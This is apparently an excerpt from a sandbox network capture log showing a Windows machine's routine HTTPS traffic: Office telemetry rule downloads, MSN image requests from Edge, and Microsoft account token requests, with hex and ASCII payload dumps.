2024-11-24 22:24:53 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:53 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 7397a655-c01e-000b-4bbf-3ee255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222453Z-178bfbc474bpnd5vhC1NYC4vr400000006fg00000000kkzq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 22:24:53 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49899	104.117.182.56	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:53 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:53 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Thu, 14 Nov 2024 00:11:17 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: 0a087112-3395-4d02-ae01-0e8f96fd1a66 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=265593 Expires: Thu, 28 Nov 2024 00:11:26 GMT Date: Sun, 24 Nov 2024 22:24:53 GMT Connection: close
2024-11-24 22:24:53 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:54 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:54 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: f224b857-001e-00ad-6c03-3e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222454Z-178bfbc474bscnbchC1NYCe7eg00000006r000000000baag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:54 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:54 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:54 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222454Z-174c587ffdfb5q56hC1TEB04kg00000004x000000000k197 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:54 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:54 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:54 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222454Z-174c587ffdf9xbcchC1TEBxkz400000004u000000000qe7a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:54 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:54 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:54 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: d8899c23-b01e-003e-234e-3c8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222454Z-15b8b599d882zv28hC1TEBdchn00000004yg00000000a2xk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:54 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49904	40.126.53.11	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:54 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-24 22:24:54 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 22:24:55 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 22:23:54 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 6ec84d78-bfff-4aaf-9a06-d705d8d803e3 PPServer: PPV: 30 H: PH1PEPF00011EF5 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 22:24:54 GMT Connection: close Content-Length: 1918
2024-11-24 22:24:55 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49905	40.126.53.11	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:54 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-24 22:24:54 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 22:24:56 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 22:23:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C521_BAY x-ms-request-id: fc70e733-927a-4381-92b1-3f44c7a57ac8 PPServer: PPV: 30 H: PH1PEPF000183CE V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 22:24:55 GMT Connection: close Content-Length: 11409
2024-11-24 22:24:56 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:55 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:55 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ecab23c4-c01e-00ad-2963-3ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222455Z-178bfbc474bxkclvhC1NYC69g400000006n0000000001dhs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:55 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49908	104.117.182.56	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:55 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:55 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 24 Nov 2024 16:24:48 GMT X-Datacenter: westus X-ActivityId: 09c9a816-65c3-4cec-9dc5-575462c725bf Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 62552 Content-Length: 8192 Cache-Control: public, max-age=410393 Expires: Fri, 29 Nov 2024 16:24:48 GMT Date: Sun, 24 Nov 2024 22:24:55 GMT Connection: close
2024-11-24 22:24:55 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:56 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
